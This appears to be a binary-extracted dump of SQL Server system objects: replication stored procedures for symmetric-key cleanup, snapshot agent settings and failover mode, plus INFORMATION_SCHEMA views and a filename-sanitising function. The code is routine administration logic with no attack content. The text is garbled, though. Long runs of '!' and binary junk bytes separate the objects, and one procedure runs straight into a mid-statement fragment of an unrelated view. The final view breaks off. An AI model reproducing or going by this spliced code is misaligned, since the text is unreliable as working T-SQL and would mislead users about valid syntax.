--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	Must be DBO to execute.
--
CREATE PROCEDURE sys.sp_dropreplsymmetrickey
(
	@check_replication bit = 0, 
	@throw_error bit = 1
)
AS
BEGIN
	DECLARE @error_number 	int,
			@error_severity int,
			@error_state 	int


	-- security check
    IF IS_MEMBER('db_owner') != 1
	BEGIN
		RAISERROR(21050, 14, -1)
		RETURN 1
    END

	IF @check_replication = 1
	BEGIN
		-- if requested we want to ensure that the current database is not :
		--		1) tran published
		--		2) tran subscriber
		--		3) merge published
		--		4) merge subscriber
	    IF sys.fn_MSrepl_istranpublished(DB_NAME(), 1) = 1
			OR (OBJECT_ID(N'MSreplication_subscriptions', N'U') IS NOT NULL
				OR OBJECT_ID(N'MSsubscription_properties', N'U') IS NOT NULL)
			OR sys.fn_MSrepl_ismergepublished(DB_NAME()) = 1
			OR (OBJECT_ID(N'MSmerge_replinfo', N'U') IS NOT NULL
				OR OBJECT_ID(N'sysmergesubscriptions', N'U') IS NOT NULL
				OR OBJECT_ID(N'sysmergepublications', N'U') IS NOT NULL
				OR OBJECT_ID(N'MSsubscription_properties', N'U') IS NOT NULL)
		BEGIN
			RETURN 0
		END
	END
	
	BEGIN TRY
		DROP SYMMETRIC KEY SQLSERVER_REPLICATION
	END TRY
	BEGIN CATCH
		-- we eat the following error:
		--  Msg 15151, Level 16, State 1, Line 1
		--  Cannot drop the symmetric key 'SQLSERVER_REPLICATION', because it does not exist or you do not have permission.
		IF @@ERROR != 15151
		BEGIN
			IF @throw_error = 1
			BEGIN
				SELECT @error_number = ERROR_NUMBER(), 
						@error_severity = ERROR_SEVERITY(), 
						@error_state = ERROR_STATE()

				RAISERROR(@error_number, @error_severity, @error_state)
			END
			
			RETURN 1
		END
	END CATCH

	BEGIN TRY
		DROP CERTIFICATE SQLSERVER_REPLICATION
	END TRY
	BEGIN CATCH
		-- we eat the following error:
		--  Msg 15151, Level 16, State 1, Line 1
		--  Cannot drop the certificate 'SQLSERVER_REPLICATION', because it does not exist or you do not have permission.
		IF @@ERROR != 15151
		BEGIN
			IF @throw_error = 1
			BEGIN
				SELECT @error_number = ERROR_NUMBER(), 
						@error_severity = ERROR_SEVERITY(), 
						@error_state = ERROR_STATE()

				RAISERROR(@error_number, @error_severity, @error_state)
			END
			
			RETURN 1
		END
	END CATCH
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`c<b.Oץ0 8create procedure sys.sp_MSrepl_changepublication_snapshot
(
    @publication					sysname,    
    @frequency_type					int,
    @frequency_interval				int,
    @frequency_subday				int,
    @frequency_subday_interval		int,
    @frequency_relative_interval	int,
    @frequency_recurrence_factor	int,
    @active_start_date				int,
    @active_end_date				int,
    @active_start_time_of_day		int,
    @active_end_time_of_day			int,
    @snapshot_job_name				nvarchar(100),
	@publisher_security_mode		int,
	@publisher_login				sysname,
	@publisher_password 			sysname,
	@job_login 						nvarchar(257),
	@job_password 					sysname,
	@publisher						sysname,
	@publisher_type					sysname
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode			int,
    		@distproc			nvarchar(1000),
    		@distributor_rpc	sysname,
    		@distribution_db	sysname,
    		@publisher_db		sysname,
    		@snapagent_exists 	bit,
			@proxy_id			int

	-- Security Check
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1

	-- Parameter Check
    EXEC @retcode = sys.sp_MSreplcheck_name @publication, '@publication', 'sp_MSrepl_changepublication_snapshot'
    IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1
        
	SELECT @publisher 		= ISNULL(@publisher, publishingservername()),
			@publisher_db	= db_name()
	
    -- ensure that we are published and then go to work
	IF sys.fn_MSrepl_ispublished(@publisher_db) != 1
	BEGIN
		-- The database is not published.
		RAISERROR (18757, 16, -1)
		RETURN 1
	END
	
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		-- check security mode
		IF @publisher_security_mode IS NOT NULL
		BEGIN
			IF @publisher_security_mode not in (0, 1)
			BEGIN
				-- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
				RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
				RETURN 1
			END

			-- make sure that the login is valid
			SELECT @publisher_login = RTRIM(LTRIM(ISNULL(@publisher_login, '')))
			IF @publisher_security_mode = 0 AND @publisher_login = ''
			BEGIN
				-- '@publisher_login cannot be null or empty when @publisher_security_mode is set to 0 (SQL Server authentication).'
				RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
				RETURN 1
			END
		END
		
		-- if the snapshot login was supplied it must be valid
		IF @job_login IS NOT NULL
		BEGIN
			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_changepublication_snapshot'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_changepublication_snapshot')
				RETURN 1
			END
		END
	END
	-- HETERO
	ELSE
	BEGIN
		IF @publisher_security_mode IS NOT NULL
		BEGIN
			-- The @publisher_security_mode parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_security_mode')
			RETURN 1
		END

		IF @publisher_login IS NOT NULL
		BEGIN
			-- The @publisher_login parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_login')
			RETURN 1
		END

		IF @publisher_password IS NOT NULL
		BEGIN
			-- The @publisher_password parameter value can not be updated/changed for heterogeneous publications.
			RAISERROR(22536, 16, -1, '@publisher_password')
			RETURN 1
		END

		/*
		** In this case we will allow @job_login to be changed only if the 
		** publisher_security_mode was set to 0 when the distpublisher was 
		** configured. Error is raised in sp_MSchange_snapshot_agent_properties.
		*/
		-- IF @job_login IS NOT NULL
		-- BEGIN
		-- 	-- The @job_login parameter value can not be updated/changed for heterogeneous publications.
		-- 	RAISERROR(22536, 16, -1, '@job_login')
		-- 	RETURN 1
		-- END
	END
	
	-- retrieve the distributor db information
    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
    										@distribdb = @distribution_db OUTPUT,
    										@publisher = @publisher
	IF @@ERROR <> 0 OR @retcode <> 0 OR @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR (20036, 16, -1)
		RETURN 1
	END

	SELECT @distproc = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(@distribution_db) + '.sys.sp_MSreplagentjobexists'
	EXEC @retcode =  @distproc @type = 3,
								@exists = @snapagent_exists OUTPUT,
								@proxy_id = @proxy_id OUTPUT,
								@publisher = @publisher,
								@publisher_db = @publisher_db,
								@publication = @publication
	IF @retcode <> 0 OR @@ERROR <> 0
		RETURN 1

	-- EXIT if NOT FOUND
	IF @snapagent_exists = 0
	BEGIN	
		-- "The snapshot agent for publisher (%s), database (%s), publication (%s) could not be found."
		RAISERROR(21799, 16, -1, 'snapshot', @publisher, @publisher_db, @publication)
		RETURN 1
	END

	IF IS_SRVROLEMEMBER('sysadmin') != 1
		AND @proxy_id IS NULL
	BEGIN
		-- Only members of the sysadmin fixed server role can modify a snapshot agent that does not have a job with a proxy account defined.
		RAISERROR(20813, 16, -1, 'snapshot agent')
		RETURN 1
	END	
	
	SELECT @distproc = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(@distribution_db) + '.sys.sp_MSchange_snapshot_agent_properties'
  	EXEC @retcode = @distproc @publisher						= @publisher,
								@publisher_db					= @publisher_db,
								@publication					= @publication,
								@frequency_type					= @frequency_type,
							    @frequency_interval				= @frequency_interval,
							    @frequency_subday				= @frequency_subday,
							    @frequency_subday_interval		= @frequency_subday_interval,
							    @frequency_relative_interval	= @frequency_relative_interval,
							    @frequency_recurrence_factor	= @frequency_recurrence_factor,
							    @active_start_date				= @active_start_date,
							    @active_end_date				= @active_end_date,
							    @active_start_time_of_day		= @active_start_time_of_day,
							    @active_end_time_of_day			= @active_end_time_of_day,
							    @snapshot_job_name				= @snapshot_job_name,
								@publisher_security_mode		= @publisher_security_mode,
								@publisher_login				= @publisher_login,
								@publisher_password 			= @publisher_password,
								@job_login						= @job_login,
								@job_password					= @job_password,
								@publisher_type					= @publisher_type
				
    IF @retcode <> 0 OR @@ERROR <> 0 
        RETURN 1
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`\<NGJLAe0w1@ P8create procedure sys.sp_helpreplfailovermode (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @failover_mode_id tinyint = 0 output,
    @failover_mode nvarchar(10) = NULL output)
as
BEGIN
    declare    @subfound bit
            ,@retcode int
            ,@update_mode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- Check if the table MSsubscription_agents exists
    --
    if object_id('MSsubscription_agents') is not NULL
    begin
        --
        -- Only valid to get failover_mode, if failover_mode is failover (3,5)
        --
        if exists (select * from dbo.MSsubscription_agents
                where UPPER(publisher) = UPPER(@publisher) and 
                    publisher_db = @publisher_db and
                    publication = @publication and
                    update_mode in (3,5) )
            select @subfound = 1
        else
            select @subfound = 0
    end
    else
        select @subfound = 0
    
    --
    -- Did we find an entry for initialized failover subscription
    --
    if (@subfound = 0)
    begin
        --
        -- Three possibilities : uninitialized subscription, non existent subscription
        -- or a non-mixed mode. Check If we have a PULL uninitialized subscription
        --
        if object_id('MSreplication_subscriptions') is not NULL
        begin                
            select @update_mode = update_mode 
            from dbo.MSreplication_subscriptions
            where publisher = @publisher 
                and publisher_db = @publisher_db
                and publication = @publication 
            if (@update_mode is null)
            begin
                select @subfound = 0
            end
            begin
                --
                -- unitialized PULL subscription : return the values
                --
                select @failover_mode_id = case when (@update_mode = 6) then 1 else 0 end
                select @subfound = 1
            end
        end

        if (@subfound = 0)
        begin
            raiserror(20588, 16, -1)
            return 1
        end
    end
    else
    begin
        --
        -- we found our subscription
        --
        select @failover_mode_id = cast(failover_mode as tinyint)
        from dbo.MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher) and 
            publisher_db = @publisher_db and
            publication = @publication and
            update_mode in (3,5) 
        --
        -- initialize to 'immediate' if necessary
        --
        if @failover_mode_id not in (0, 1)
        begin
            raiserror (22576, 11, 1, @failover_mode_id, @publisher, @publisher_db, @publication)
            update dbo.MSsubscription_agents 
            set failover_mode = 0
            where UPPER(publisher) = UPPER(@publisher) and 
                publisher_db = @publisher_db and
                publication = @publication and
                update_mode in (3,5) 

            select @failover_mode_id = 0
        end
    end
    --
    -- prepare the output
    --
    select @failover_mode = case 
        when @failover_mode_id = 0 then N'immediate'
        when @failover_mode_id = 1 then N'queued'
        end
        
    select N'failover_mode value'  = @failover_mode_id, 
            N'failover_mode' = @failover_mode
    --
    -- all done
    --
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<fD߸0o@ 8CREATE VIEW INFORMATION_SCHEMA.VIEW_TABLE_USAGE
AS
SELECT DISTINCT
	DB_NAME()					AS VIEW_CATALOG,
	SCHEMA_NAME(v.schema_id)	AS VIEW_SCHEMA,
	v.name						AS VIEW_NAME,
	DB_NAME()					AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name						AS TABLE_NAME
FROM
	 sys.objects t,
	 sys.views v,
	 sys.sql_dependencies d
WHERE
	d.class < 2
	AND d.object_id = v.object_id
	AND d.referenced_major_id = t.object_id
05p ^8
create procedure sys.sp_isarticlecolbitset 
(
    @colid int
    ,@artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@agent_id	int = NULL  	-- null @agent_id means this is executed at pub side, 
    										-- pub queries sysarticlecolumns for article column partition, 
    										-- sub uses MSsubscription_articlecolumns
)
as
begin
    declare @retcode int
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogenous tinyint

    -- initialize
    select     @retcode = 0
                ,@pubtypemssqlserver = 1
                ,@pubtypeheterogenous = 2
    -- process based on publisher type
    if (@publishertype = @pubtypemssqlserver)
    begin
        -- mssqlserver publisher
        if (@agent_id is null)
        begin
	        if exists (select artid from dbo.sysarticlecolumns where artid = @artid and colid = @colid)
    	       select @retcode = 1
    	 end
    	 else 
        begin
	        if exists (select artid from dbo.MSsubscription_articlecolumns where artid = @artid and colid = @colid
	        																												and agent_id = @agent_id)
    	       select @retcode = 1
    	 end
    end
    else if (@publishertype = @pubtypeheterogenous)
    begin
        -- heterogeneous publisher
        if exists (select article_id from IHcolumns where article_id = @artid and column_id = @colid)
           select @retcode = 1
    end
    else
    begin
        raiserror(21402, 16, 14, '@publishertype')
    end
    -- return 
    return @retcode
end
0#o@ 8create procedure sys.sp_MSissnapshotagentrunning
(
    @publication sysname
)
with execute as 'dbo'
as
begin
    declare @retcode int
    
    exec @retcode = sys.sp_getapplock 
        @Resource = @publication,
        @LockMode = 'Exclusive',
        @LockOwner = 'Session',
        @LockTimeout = 0,
        @DbPrincipal = 'db_owner'

    if @retcode >= 0
    begin
        exec @retcode = sys.sp_releaseapplock
            @Resource = @publication,
            @LockOwner = 'Session',
            @DbPrincipal = 'db_owner'
                   
        set @retcode = 0
    end
    else
    begin
        set @retcode = 1
    end
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!9`<90n G8--
-- Name: fn_replaceinvalidfilenamesymbols
--
-- Descriptions: This function returns a version of a given string that is intended
--               to be used as a filename with invalid/dangerous characters replaced.  
--                 The following replacement characters are used:
--                    <  - L
--                    >  - R
--                    |  - I
--                    "  - Q
--                    \  - B
--                    .  - D
--                    &  - A
--                    %  - P
--                    /  - F
--                    :  - C
--
--                 Character codes < 31 are mapped with the following
--                 mapping string:
--                    0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
--                 That is code 0 -> '0', code 11 -> 'A' etc
--                     
-- Parameter: @filename nvarchar(4000)
-- 
-- Security: This is a public interface object.
--
create function sys.fn_replaceinvalidfilenamesymbols
(
    @filename nvarchar(4000)
) 
returns nvarchar(4000)
as
begin
    declare @replaced_filename nvarchar(4000),
            @curr_char nvarchar(1),
            @curr_char_index int    
    select @replaced_filename = N'',
           @curr_char = N'', 
           @curr_char_index = 1

    declare @replacementmapping nvarchar(4000),
            @replacementmappinglength int
    select @replacementmapping = N'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    select @replacementmappinglength = len(@replacementmapping)
    
    while @curr_char_index <= len(@filename)
    begin
        select @curr_char = substring(@filename, @curr_char_index, 1)
        
        if unicode(@curr_char) < 32
        begin
            select @replaced_filename = @replaced_filename + substring(@replacementmapping, (unicode(@curr_char) % @replacementmappinglength) + 1, 1)
        end
        else if @curr_char = N'<'
            select @replaced_filename = @replaced_filename + N'L'
        else if @curr_char = N'>'
            select @replaced_filename = @replaced_filename + N'R'
        else if @curr_char = N'|'
            select @replaced_filename = @replaced_filename + N'I'
        else if @curr_char = N'"'
            select @replaced_filename = @replaced_filename + N'Q'
        else if @curr_char = N'\'
            select @replaced_filename = @replaced_filename + N'B'
        else if @curr_char = N'/'
            select @replaced_filename = @replaced_filename + N'F'
        else if @curr_char = N'.'
            select @replaced_filename = @replaced_filename + N'D'
        else if @curr_char = N'&'
            select @replaced_filename = @replaced_filename + N'A'
        else if @curr_char = N'%'
            select @replaced_filename = @replaced_filename + N'P'
        else if @curr_char = N':'
            select @replaced_filename = @replaced_filename + N'C'        
        else
            select @replaced_filename = @replaced_filename + @curr_char

        select @curr_char_index = @curr_char_index + 1 
    end
    return @replaced_filename
end
0v@ 8create procedure sys.sp_MScheckgenerate_originatorid
(
   @publication sysname,
   @old_originator_id int,
   @new_originator_id int output
)
as
begin
   if @old_originator_id <> 0
   begin
       if exists(select * from dbo.MSpeer_originatorid_history where originator_publication = @publication and originator_id = @old_originator_id )
          select @new_originator_id = 0
       else
          select @new_originator_id = @old_originator_id
       return 0
   end
   else
   begin
       select @new_originator_id = 0
       
       declare 	@maxposid int,
       		@minnegid int
       select	@maxposid = 0x7fffffff,
       		@minnegid = 0x80000000
       
       while(1=1)
       begin
           select @new_originator_id = FLOOR(@maxposid * RAND( (DATEPART(mm, GETDATE()) * 100000 )
                                                                                          + (DATEPART(ss, GETDATE()) * 1000 )
                                                                                          + DATEPART(ms, GETDATE())))
		if RAND( (DATEPART(mm, GETDATE()) * 100000 )
                            + (DATEPART(ss, GETDATE()) * 1000 )
                            + DATEPART(ms, GETDATE()))  > 0.5
			select @new_originator_id = @new_originator_id * (-1)                       
                            
          if @new_originator_id = 0 or @new_originator_id = @minnegid
              continue
          else if exists(select * from dbo.MSpeer_originatorid_history where originator_publication = @publication and originator_id = @new_originator_id)
              continue
          else
              return (0)
       end --while
       
   end 
end
0~ {8create procedure sys.sp_MSmergeagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @action         tinyint
)
as
begin
    set nocount on

    declare @job_id         uniqueidentifier
    declare @publisher_id   int
    declare @subscriber_id  int
    declare @retcode        int
    set @retcode = 0

    set @publisher_id = null    
    select @publisher_id = server_id
      from sys.servers
     where upper(name) = upper(@publisher) collate database_default
    if @publisher_id is null
    begin
        raiserror (21618, 16, -1, @publisher)
        return 1
    end

    set @job_id = null
    select @job_id = msma.job_id
      from dbo.MSmerge_agents as msma
inner join msdb.dbo.sysjobs_view as sjv
        on msma.job_id = sjv.job_id        
inner join msdb.dbo.sysjobsteps as sjs
        on sjv.job_id = sjs.job_id
     where msma.publisher_id = @publisher_id
       and msma.publisher_db = @publisher_db
       and msma.publication = @publication
       and upper(msma.subscriber_name) = upper(@subscriber)
       and msma.subscriber_db = @subscriber_db
       and sjv.category_id = 14
       and sjs.subsystem = N'Merge'
    
    if @job_id is null
    begin
        -- "Could not find a merge agent job for the specified merge push subscription."
        raiserror(21847, 16, -1)
        return 1
    end
    exec @retcode = sys.sp_MSreplicationagentjobcontrol
        @job_id = @job_id,
        @action = @action
    return @retcode
    
end
0 @ 8create procedure sys.sp_MSmerge_getgencount
	@genlist varchar(8000),   
	@gencount int output
as 
    declare @position1 int
    declare @position2 int

    set @gencount = 0
	
    if len(@genlist) = 0 or @genlist is NULL
        return

    -- determine number of generations in genlist  
    -- if we get this far, we have at least one gen
    set @gencount = 1
    set @position1 = 1
    set @position2 = charindex(',', @genlist, @position1)

    while @position2 > 0
    begin
        set @gencount = @gencount + 1
        set @position1 = @position2 + 1
        set @position2 = charindex(',', @genlist, @position1)
    end

    return 0
(nvarchar(10), 'NO')			AS IS_USER_DEFINED_CAST,
	convert(nvarchar(10), 'NO')			AS IS_IMPLICITLY_INVOCABLE,
	o.create_date						AS CREATED,
	o.modify_date						AS LAST_ALTERED
FROM
	sys.objects$ o LEFT JOIN sys.parameters c 
	ON (c.object_id = o.object_id AND c.parameter_id = 0)
WHERE
	o.type IN ('P', 'FN', 'TF', 'IF', 'AF', 'FT', 'IS', 'PC', 'FS')
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`d<`H0J8@ 8CREATE VIEW INFORMATION_SCHEMA.PARAMETERS
AS
SELECT
	DB_NAME()						AS SPECIFIC_CATALOG,
	SCHEMA_NAME(o.schema_id)		AS SPECIFIC_SCHEMA,
	o.name							AS SPECIFIC_NAME,
	c.parameter_id					AS ORDINAL_POSITION,
	convert(nvarchar(10), CASE
		WHEN c.parameter_id = 0 THEN 'OUT'
		WHEN c.is_output = 1 THEN 'INOUT'
		ELSE 'IN' END)					AS PARAMETER_MODE,
	convert(nvarchar(10), CASE WHEN
		c.parameter_id = 0 THEN 'YES' ELSE 'NO' END)	AS IS_RESULT,
	convert(nvarchar(10), 'NO')				AS AS_LOCATOR,
	c.name							AS PARAMETER_NAME,
	ISNULL(TYPE_NAME(c.system_type_id), u.name)		AS DATA_TYPE,
	COLUMNPROPERTY(c.object_id, c.name, 'charmaxlen')	AS CHARACTER_MAXIMUM_LENGTH,
	COLUMNPROPERTY(c.object_id, c.name, 'octetmaxlen')	AS CHARACTER_OCTET_LENGTH,
	convert(sysname, null)					AS COLLATION_CATALOG,
	convert(sysname, null) collate catalog_default			AS COLLATION_SCHEMA,
	convert(sysname, CASE
		WHEN c.system_type_id IN (35, 99, 167, 175, 231, 239) THEN	-- [n]char/[n]varchar/[n]text
		SERVERPROPERTY('collation') END)		AS COLLATION_NAME,
	convert( sysname, null)					AS CHARACTER_SET_CATALOG,
	convert( sysname, null) collate catalog_default			AS CHARACTER_SET_SCHEMA,
	convert( sysname, CASE
		WHEN c.system_type_id IN (35, 167, 175) THEN SERVERPROPERTY('sqlcharsetname')	-- char/varchar/text
		WHEN c.system_type_id IN (99, 231, 239) THEN N'UNICODE'	-- nchar/nvarchar/ntext
		END)						AS CHARACTER_SET_NAME,
	convert(tinyint, CASE -- int/decimal/numeric/real/float/money
		WHEN c.system_type_id IN (48, 52, 56, 59, 60, 62, 106, 108, 122, 127) THEN c.precision
		END)										AS NUMERIC_PRECISION,
	convert(smallint, CASE	-- int/money/decimal/numeric
		WHEN c.system_type_id IN (48, 52, 56, 60, 106, 108, 122, 127) THEN 10
		WHEN c.system_type_id IN (59, 62) THEN 2 END)	AS NUMERIC_PRECISION_RADIX, -- real/float
	convert(int, CASE	-- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN NULL
		ELSE ODBCSCALE(c.system_type_id, c.scale) END)	AS NUMERIC_SCALE,
	convert(smallint, CASE -- datetime/smalldatetime
		WHEN c.system_type_id IN (40, 41, 42, 43, 58, 61) THEN ODBCSCALE(c.system_type_id, c.scale) END)	AS DATETIME_PRECISION,
	convert(nvarchar(30), null)				AS INTERVAL_TYPE,
	convert(smallint, null)					AS INTERVAL_PRECISION,
	convert(sysname, CASE WHEN u.schema_id <> 4
		THEN DB_NAME() END)						AS USER_DEFINED_TYPE_CATALOG,
	convert(sysname, CASE WHEN u.schema_id <> 4
		THEN SCHEMA_NAME(u.schema_id) END)		AS USER_DEFINED_TYPE_SCHEMA,
